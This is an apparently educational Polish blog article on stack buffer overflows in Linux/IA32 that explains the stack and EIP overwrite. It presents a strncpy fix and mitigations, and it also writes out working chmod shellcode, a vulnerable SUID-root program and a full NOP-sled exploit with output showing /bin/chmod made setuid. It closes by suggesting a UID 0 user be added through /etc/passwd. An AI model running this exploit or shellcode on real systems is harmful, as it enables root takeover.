NFsec Logo

Odkrywanie przepełnień bufora

08/12/2005 w Bezpieczeństwo Brak komentarzy.  (artykuł nr 11, ilość słów: 3610)

(root@osiris ~)# uname -srmp
Linux 2.4.26 i586 Pentium_MMX
(root@osiris ~)# gcc --version
2.95.4

B

uffer overflow, czyli przepełnienie bufora zachodzi wówczas gdy chcemy umieścić w buforze więcej danych niż może on pomieścić. Dane które nie mieszczą się w buforze nadpisują stos. Teraz rodzi się pytanie czym jest stos? Stos jest to ciągły blok pamięci. Jego dno (początek) ma zawsze stały adres. Rozmiar stosu jest dynamicznie zmieniany w czasie wykonywania programu. Stos można porównać do stosu talerzy, do którego dokłada się nowe talerze wyłącznie z góry i z którego pobiera się talerze również tylko z góry. Tak więc ostatni obiekt położony na stosie będzie pierwszym jaki zostanie z niego zdjęty. Procesor zawiera instrukcje PUSH, aby położyć coś na wierzchołek stosu, oraz POP aby coś z niego zdjąć. Stos może rosnąć “w dół” (niższe adresy pamięci) lub “w górę”. W procesorach Intela i z nim kompatybilnych stos rośnie w kierunku niższych adresów pamięci. Wskaźnik stosu ESP (Extended Stack Pointer), przechowywany w 32 bitowym rejestrze, wskazuje adres wierzchołka stosu. Rejestry są kilku bajtową pamięcią wbudowaną do procesora, do których ma on bardzo szybki dostęp. Większość rejestrów może być modyfikowana, czyli możemy je porównać do zmiennych. Właściwość rejestru ESP zostanie wykorzystana w dalszej części tego dokumentu.

Każdy proces w pamięci składa się (w uproszczeniu) z trzech segmentów: Text, Data oraz Stack.

  wyższe adresy pamięci
  +-------------------+
  |       Stack       |
  +-------------------+
  |       Data        |
  +-------------------+
  |       Text        |
  +-------------------+
  niższe adresy pamięci

W skład segmentu tekstu wchodzą instrukcje programu i dane tylko do odczytu. Zapis do tego segmentu wywoła błąd segmentacji. Segment danych zawiera zainicjowane i niezainicjowane zmienne programu:

  int i;  /* umieszczona zostanie w części zmiennych niezainicjowanych */
  int i = 1;  /* ta natomiast w części zmiennych zainicjowanych */

Rozmiar segmentu danych w zależności od potrzeb może zostać zmieniony. Właściwości stosu zostały juz omówione wyżej. Teraz interesuje nas co zawiera ten segment.

Języki wysokiego poziomu takie jak C opierają się w znacznej mierze na procedurach i funkcjach. Procedury, funkcje oraz pętle są stosowane dla oszczędności pamięci, aby nie umieszczać tego samego fragmentu kodu kilkaset razy w pamięci. Kiedy funkcja przejmuje kontrolę na stosie kładziona jest ramka stosu, która zawiera zmienne lokalne, parametry dla funkcji, adres powrotny EIP (Extended Intruction Pointer) oraz dane potrzebne do odtworzenia poprzedniej ramki. Adres powrotny jest to adres pamięci z którego nastąpił skok do aktualnie wykonywanej funkcji. Na początku kodu każdej funkcji znajdują się dwie charakterystyczne instrukcje zwane “prologiem funkcji” bądź też “ustawianiem ram stosu”:

  pushl  %ebp
  movl   %esp,%ebp

Prolog funkcji ma za zadanie zachowanie “starego” ESP, aby po zakończeniu pracy funkcji mógł zostać odtworzony. Najpierw umieszczany jest na stosie EBP, a następnie kopiowany jest do niego ESP. Kiedy funkcja “powraca”, adres z EBP jest z powrotem kopiowany do ESP, a EBP zdejmowany jest ze stosu.

  void function(void) {
    int i; /* zmienna ta zostanie umieszczona na stosie podczas wykonywania
              funkcji, a po jej zakończeniu zostanie ze stosu usunięta */
    for (i = 0; i < 16; i++)
      printf("%d\n", i); 
  }

Jeśli podczas wykonywania funkcji nastąpi przepełnienie bufora dane nadpiszą stos i bardzo możliwe że EIP (adres gdzie funkcja ma przekazać kontrolę). Kiedy funkcja zakończy pracę odczytany zostanie EIP, który został zamieniony na fałszywy i program skoczy do innego adresu pamięci. Na ekranie prawdopodobnie zobaczymy napis "Segmentation fault". Adresy powrotne przechowuje się na stosie za pomocą rozkazów skoku CALL. Powrót do przerwanego programu głównego realizuje się za pomocą rozkazu RET.

Najprostszy przykład pokazujący jak wygląda przepełnienie bufora, znajduje się poniżej:

(elceef@osiris ~)$ cat prog.c
#include <string.h>

void function(char *arg) {
  char small_buff[64];
  strcpy(small_buff, arg);
}

int main(void) {
  char large_buff[128];
  memset(large_buff, 0x78, sizeof(large_buff));
  function(large_buff);
  return 0;
}

Widać tutaj, że funkcja function() kopiuje dwa razy większy large_buff[] do small_buff[] używając strcpy() zamiast bezpieczniejszej strncpy(). Zobaczmy co się stanie, gdy uruchomimy ten program:

(elceef@osiris ~)$ gcc prog.c -o prog
(elceef@osiris ~)$ gdb -q prog
(gdb) run
Starting program: /home/elceef/prog
Program received signal SIGSEGV, Segmentation fault.
0x78787878 in ?? ()
(gdb) info registers ebp eip
ebp            0x78787878	0x78787878
eip            0x78787878	0x78787878

Tak jak założyliśmy. EIP został nadpisany przez dane z bufora large_buff[]. large_buff[] zawiera numery kodu ASCII dla znaku ‘x’ – hex 0x78, tak więc EIP zmienił wartość na 0x78787878 (EIP jest rejestrem 32 bitowym). Adres ten wskazuje na komórkę poza przestrzenią adresową procesu “prog”, więc kiedy chce odczytać następną instrukcję, otrzymujemy “Segmentation fault”. Sprawdźmy co się stanie gdy zastosujemy zamiast funkcji strcpy() jej bezpieczny odpowiednik strncpy(). Poniżej poprzedni kod tylko lekko poprawiony:

(elceef@osiris ~)$ cat prog.c
#include <string.h>

void function(char *arg) {
  char small_buff[64];
  strncpy(small_buff, arg, sizeof(small_buff));
}

int main(void) {
  char large_buff[128];
  memset(large_buff, 0x78, sizeof(large_buff));
  function(large_buff);
  return 0;
}
(elceef@osiris ~)$ gcc prog.c -o prog
(elceef@osiris ~)$ ./prog
(elceef@osiris ~)$

Jak widać strncpy() pozwoliła na skopiowanie tylko 64 bajtów danych z tablicy large_buff[] co uchroniło nas przed nadpisaniem danych na stosie.

Przekonaliśmy się, że przy pomocy prostego programu jesteśmy w stanie zmienić EIP. Daje nam to możliwość skoczenia do miejsca w pamięci gdzie znajduje się “podrzucony” przez nas kod, który chcemy wykonać. Należy jednak pamiętać że owy kod musi się znajdować w przestrzeni adresowej procesu, aby ponownie nie otrzymać błędu segmentacji. Kod który chcemy podrzucić nosi nazwę shellcode, ponieważ najczęściej uruchomia dla nas powłokę z której dalej możemy wykonywać inne programy. Shellcode może być przechowywany w zwykłym buforze znakowym – są to gotowe do wykonania instrukcje. Wraz ze zmianą systemu czy architektury, będziemy musieli stosować inny shellcode. Napiszemy shellcode który nada odpowiednie prawa dostępu dla /bin/chmod tym samym umożliwiając nam przejęcie kontroli nad systemem:

(elceef@osiris ~)$ cat chmod.c
#include <unistd.h>
int main(void) {
  /* -rwsrwxrwx */
  chmod("/bin/chmod", 04777);
  return 0;
}

(elceef@osiris ~)$ gcc chmod.c -static
(elceef@osiris ~)$ gdb -q a.out
(gdb) disas main
Dump of assembler code for function main:
0x80481d0 <main>:       push   %ebp
0x80481d1 <main+1>:     mov    %esp,%ebp
0x80481d3 <main+3>:     sub    $0x8,%esp
0x80481d6 <main+6>:     add    $0xfffffff8,%esp
0x80481d9 <main+9>:     push   $0x9ff
0x80481de <main+14>:    push   $0x808c368
0x80481e3 <main+19>:    call   0x804c250 <__chmod>
0x80481e8 <main+24>:    add    $0x10,%esp
0x80481eb <main+27>:    xor    %eax,%eax
0x80481ed <main+29>:    jmp    0x80481f0 <main+32>
0x80481ef <main+31>:    nop
0x80481f0 <main+32>:    mov    %ebp,%esp
0x80481f2 <main+34>:    pop    %ebp
0x80481f3 <main+35>:    ret
0x80481f4 <main+36>:    lea    0x0(%esi),%esi
0x80481fa <main+42>:    lea    0x0(%edi),%edi
End of assembler dump.
Dump of assembler code for function __chmod:
0x804c250 <__chmod>:    mov    %ebx,%edx
0x804c252 <__chmod+2>:  mov    0x8(%esp,1),%ecx
0x804c256 <__chmod+6>:  mov    0x4(%esp,1),%ebx
0x804c25a <__chmod+10>: mov    $0xf,%eax
0x804c25f <__chmod+15>: int    $0x80
0x804c261 <__chmod+17>: mov    %edx,%ebx
0x804c263 <__chmod+19>: cmp    $0xfffff001,%eax
0x804c268 <__chmod+24>: jae    0x8051c70 <__syscall_error>
0x804c26e <__chmod+30>: ret
End of assembler dump.
(gdb) x/s 0x808c368
0x808c368 <_IO_stdin_used+4>:    "/bin/chmod"
(gdb) q

Oto czego potrzebujemy, aby napisać nasz shellcode:

  • wartość 0x9ff (równa 04777 oct) w rejestrze ECX
  • ciąg “/bin/chmod” umieszczony gdzieś w pamięci
  • adres do ciągu “/bin/chmod” w rejestrze EBX
  • wartość 0xf w EAX (numer wywołania systemowego dla chmod)
  • wywołać przerwanie 0x80 aby przejść w tryb jądra

Musimy pamiętać, że gotowy shellcode nie może zawierać znaku ‘\0’ który oznacza koniec bufora, inaczej nasz shellcode zostanie “ucięty” w czasie kopiowania.

(elceef@osiris ~)$ cat chmod-asm.c
int main(void) {
  __asm__("
    xorl    %ecx,%ecx
    leal    0xf(%ecx),%eax
    pushl   %ecx
    movw    $0x9ff,%cx
    pushl   $0x646f6d68
    pushl   $0x632f2f6e
    pushl   $0x69622f2f
    mov     %esp,%ebx
    int     $0x80
  ");
  return 0;
}

Powyższy kod to shellcode w postaci gotowych instrukcji inline assemblera gcc, ale o co chodzi?

Zerujemy rejestr ECX (koniecznie instrukcją xorl, aby uniknąć znaków NUL),

  xorl    %ecx,%ecx

Umieszczamy w rejestrze EAX numer wywołania chmod() używając instrukcji leal,

  leal    0xf(%ecx),%eax

Umieszczamy znak NUL na stosie (ECX ma wartość 0),

  pushl   %ecx

Umieszczamy wartość 0x9ff w CX (używamy instrukcji movw oraz rejestru CX, ponieważ operujemy liczbą 2-bajtową),

  movw    $0x9ff,%cx

Umieszczamy na stosie ciąg “//bin//chmod” (zauważ że w odwrotnej kolejności ponieważ jak już wiesz stos rośnie w kierunku niższych adresów; ponadto jego długość jest wielokrotnością liczby 4 czyli 32bitów, aby pozbyć się znaków NUL) który jest zakończony 0 (wcześniej położyliśmy na stosie ECX),

  pushl   $0x646f6d68
  pushl   $0x632f2f6e
  pushl   $0x69622f2f

Kopiujemy adres wierzchołka stosu (z rejestru ESP) do rejestru EBX, ponieważ rejestr ESP zawiera teraz adres ciągu “//bin//chmod”,

  mov     %esp,%ebx

Wywołujemy przerwanie 0x80, aby przejść w tryb jądra.

  int     $0x80

Dobrze, teraz przetłumaczmy instrukcje na gotowy do wykonania kod binarny.

(elceef@osiris ~)$ gcc chmod-asm.c
(elceef@osiris ~)$ objdump -d a.out |grep -A 11 \<main\>
080483d0 <main>:
 80483d0:       55                      push   %ebp
 80483d1:       89 e5                   mov    %esp,%ebp
 80483d3:       31 c9                   xor    %ecx,%ecx
 80483d5:       8d 41 0f                lea    0xf(%ecx),%eax
 80483d8:       51                      push   %ecx
 80483d9:       66 b9 ff 09             mov    $0x9ff,%cx
 80483dd:       68 68 6d 6f 64          push   $0x646f6d68
 80483e2:       68 6e 2f 2f 63          push   $0x632f2f6e
 80483e7:       68 2f 2f 62 69          push   $0x69622f2f
 80483ec:       89 e3                   mov    %esp,%ebx
 80483ee:       cd 80                   int    $0x80

Tak ostatecznie wygląda nasz shellcode po dodaniu kodu dla setuid(0).

(elceef@osiris ~)$ cat chmod-sh.c
/* Linux/IA32 chmod shellcode by elceef */

char shellcode[] =
"\x31\xdb"              /* xorl   %ebx,%ebx       */
"\x8d\x43\x17"          /* leal   0x17(%ebx),%eax */
"\xcd\x80"              /* int    $0x80           */

"\x31\xc9"              /* xorl   %ecx,%ecx       */
"\x8d\x41\x0f"          /* leal   0xf(%ecx),%eax  */
"\x51"                  /* pushl  %ecx            */
"\x66\xb9\xff\x09"      /* movw   $0x9ff,%cx      */
"\x68\x68\x6d\x6f\x64"  /* pushl  $0x646f6d68     */
"\x68\x6e\x2f\x2f\x63"  /* pushl  $0x632f2f6e     */
"\x68\x2f\x2f\x62\x69"  /* pushl  $0x69622f2f     */
"\x89\xe3"              /* movl   %esp,%ebx       */
"\xcd\x80"              /* int    $0x80           */

"\xb0\x01"              /* movb   $0x1,%al        */
"\xcd\x80";             /* int    $0x80           */

int main(void) {
  void(*f)()=(void*)shellcode;f();
  return 0;
}

Przykładowy program, podatny na przepełnienie bufora z użyciem strcpy(). Zakładamy że binaria mają ustawiony bit SUID, właścicielem jest root oraz że mamy prawa do wykonywania.

(elceef@osiris ~)$ cat target.c
#include <string.h>

void destruction(char *arg) {
  char buffer[512];
  strcpy(buffer, arg);
}

int main(int argc, char *argv[]) {
  if (argc > 1)
    destruction(argv[1]);
  return 0;
}

(elceef@osiris ~)$ ls -al target
-rwsr-x--x    1 root     root        14114 Nov 21 20:43 target*

Wystarczy, że argv[1] będzie dłuższe od tablicy buffer[]. Kiedy destruction() będzie “wracać”, odczyta podmieniony przez nas adres powrotny. Spróbujemy napisać exploit, który przyzna nam powłokę. Podsumujmy nasze wiadomości:

  • shellcode musi być częścią bufora, który przepełniamy, aby znalazł się w pamięci i mógł być wykonany,
  • przepełniany bufor wypełniony będzie ponadto adresem do którego chcemy “skoczyć”, a który wskazuje do naszego kodu (mamy nadzieję że ta część bufora nadpisze EIP),
  • dane którymi przepełniamy bufor muszą być od niego odpowiednio dłuższe,
  • musimy znać dokładny adres shellcode w pamięci.

Długość użytego bufora zależy od tego co jest położone na stosie. W przypadku funkcji destruction() jest to jedynie tablica znaków o długości 512 bajtów. Wcześniej znajduje się zachowany rejestr ESP oraz EIP. Oba mają 32 bity długości czyli łącznie 8 bajtów. 512 + 8 = 520 co jest w tym przypadku minimalną długością bufora, jaką musimy użyć aby nadpisać adres powrotny. Zobaczmy jak wygląda segment stosu po wywołaniu funkcji destruction() (po uruchomieniu exploita):

    +------------+
    |     .      |
    |     .      |
    |     .      |
    |___*arg_____| EBP+524
    |____EIP_____| EBP+4
    |____EBP_____| EBP (zachowany ESP)
    |__buffer[]__| EBP-512
    |     .      |
    |     .      |
    |     .      |
    +------------+

Kiedy skopiujemy do zmiennej buffer[] o 4 bajty danych za dużo (512 + 4 = 516), nadpiszemy EBP. Jeśli skopiujemy o 8 bajtów danych za dużo (512 + 8 = 520) to nadpiszemy EBP i EIP czyli zmienimy adres powrotny funkcji.

Pozostaje problem z adresem shellcode w pamięci. Adres ten będzie wskazywał gdzieś niedaleko ESP naszego exploita. Możemy próbować odejmować od niego pewne wartości w nadziei, że pod wynikiem naszego działania znajdziemy nasz kod. W zależności od tego jak dużo danych jest na stosie, musimy wykonać kilkaset strzałów aby trafić w ten właściwy. Jest jednak sposób, aby znacznie zwiększyć szanse. Wykorzystamy instrukcje NOP. Na pewno ją zauważyłeś podczas pracy z gdb.

Instrukcja ta nic nie robi i jest idealnym “wypełniaczem”. Ma długość jednego bajta i jej opcode to 0x90. Pierwsze 471 z 520 bajtów naszego buforu zapełnimy właśnie instrukcjami NOP, w dalszych 41 bajtach umiescimy shellcode, pozostałe 8 bajtów zapełnimy adresem, którym nadpiszemy EIP na stosie. Im większy przepełniany bufor tym lepiej, ponieważ możemy wpakować więcej instrukcji NOP. *argv[1] bedzie wygladal teraz w ten sposob:

  +----------------------------------------------+
  | 471 bajtów NOP 0x90 | shellcode 41B | RET 8B |
  +----------------------------------------------+
  0                                            520

Teraz wystarczy tylko trafić w obszar pamięci gdzie znajdują się instrukcje NOP, co zwiększy nasze szanse 471 razy. Intrukcje NOP bedą wykonywane, aż dojdziemy do naszego kodu. Poniżej źrodło exploita:

(elceef@osiris ~)$ cat exploit.c
/* brzydki i niewygodny exploit, ale dobry do nauki ;) */

#include <stdio.h>
#include <stdlib.h>

#define BUFF_SIZE 520

char shellcode[] =
"\x31\xdb"              /* xorl   %ebx,%ebx       */
"\x8d\x43\x17"          /* leal   0x17(%ebx),%eax */
"\xcd\x80"              /* int    $0x80           */

"\x31\xc9"              /* xorl   %ecx,%ecx       */
"\x8d\x41\x0f"          /* leal   0xf(%ecx),%eax  */
"\x51"                  /* pushl  %ecx            */
"\x66\xb9\xff\x09"      /* movw   $0x9ff,%cx      */
"\x68\x68\x6d\x6f\x64"  /* pushl  $0x646f6d68     */
"\x68\x6e\x2f\x2f\x63"  /* pushl  $0x632f2f6e     */
"\x68\x2f\x2f\x62\x69"  /* pushl  $0x69622f2f     */
"\x89\xe3"              /* movl   %esp,%ebx       */
"\xcd\x80"              /* int    $0x80           */

"\xb0\x01"              /* movb   $0x1,%al        */
"\xcd\x80";             /* int    $0x80           */

unsigned long get_esp() {
  __asm__ ("movl %esp,%eax");
}

int main(int argc, char *argv[]) {
  char buffer[BUFF_SIZE];
  int offset, i;

  /* jeśli uruchomimy exploit z parametrem ustaw offset */
  if (argc==2) offset = atoi(argv[1]);
  /* w innym przypadku offset = 0 */
  else offset = 0;

  /* wyświetl adres którym nadpiszemy EIP */
  printf("RET address: 0x%x\n", get_esp() + offset);

  /* wypełnij bufor adresem do którego skoczymy po powrocie z funkcji */
  for (i = 0; i < BUFF_SIZE; i += 4)
    *(long *)&buffer[i] = get_esp() + offset;

  /* wypełnij bufor instrukcjami NOP (520-41-8) */
  memset(buffer, 0x90, sizeof(buffer) - strlen(shellcode) - 8);

  /* wypełnij bufor kodem w miejscu gdzie kończą się intrukcje NOP */
  memcpy(buffer + sizeof(buffer) - strlen(shellcode) - 8, shellcode,
         strlen(shellcode));

  /* uruchom program z parametrem którym będzie nasz bufor */
  execl("./target", "target", buffer, 0);
  return 0;
}

Nasz exploit pobiera jako parametr offset od ESP naszego exploita (nie jest to ESP podatnego programu!) - dzięki temu wyliczy adres powrotny wskazujący gdzieś do ciągu intrukcji NOP, czyli do naszego shellcode.

(elceef@osiris ~)$ gcc exploit.c -o exploit
(elceef@osiris ~)$ ./exploit 100
RET address: 0xbffff838
Illegal instruction
(elceef@osiris ~)$ ./exploit 200
RET address: 0xbffff89c
Illegal instruction
(elceef@osiris ~)$ ./exploit 300
RET address: 0xbffff900
Segmentation fault
(elceef@osiris ~)$ ./exploit 400
RET address: 0xbffff964
(elceef@osiris ~)$ ls -l /bin/chmod
-rwsrwxrwx    1 root     root        16732 2002-10-29  /bin/chmod
(elceef@osiris ~)$

Exploit zadziałał. Teraz wszystko zależy od naszej wyobraźni. Dla przykładu możemy dodać nowego użytkownika z UID 0 poprzez nadanie sobie praw do odczytu i zapisu /etc/passwd oraz /etc/shadow.

Oto nazwy funkcji do kopiowania, dodawania, pobierania ciągów znakowych bez sprawdzania granic: strcpy(), strcat(), gets(), sprintf(), scanf(). Niebezpieczne mogą być także funkcje getc(), getchar(), fgetc() jeśli stosowane są w pętlach (do bufora czytane są znaki aż do końca linii lub innej granicy).

Powstalo wiele propozycji zapobiegnia przepełnieniom bufora: modyfikacja kompilatora C, losowe liczby przed EIP, programy kontrolujące zmienne środowiskowe i argumenty. Wszystkie one mają przynajmniej jedną poważną wadę: spowolnione działanie programu. Najlepszym rozwiązaniem wydaje się być pisanie bezpiecznych i poprawnych programów. Pisać bezpieczne programy znaczy korzystać z funkcji, które sprawdzają rozmiar bufora, na którym operują np. strncpy() czy snprintf(). Jednak używanie bezpiecznych funkcji nie gwarantuje jeszcze bezpieczeństwa całego programu – trzeba przy tym zachować duzą ostrożność, a niewątpliwie jest to trudne.
Warto też wspomnieć o opcji niewykonywalnego stosu, oferowanej przez patche na jądro (Openwall, grsecurity). Niestety (albo na szczęście – jak kto woli)
znaleziono kilka sposobów na obejście tego zabezpieczenia.

Więcej informacji: man gdb, man gcc

Kategorie K a t e g o r i e : Bezpieczeństwo

Tagi T a g i : , , , , , , , ,

Komentowanie tego wpisu jest zablokowane.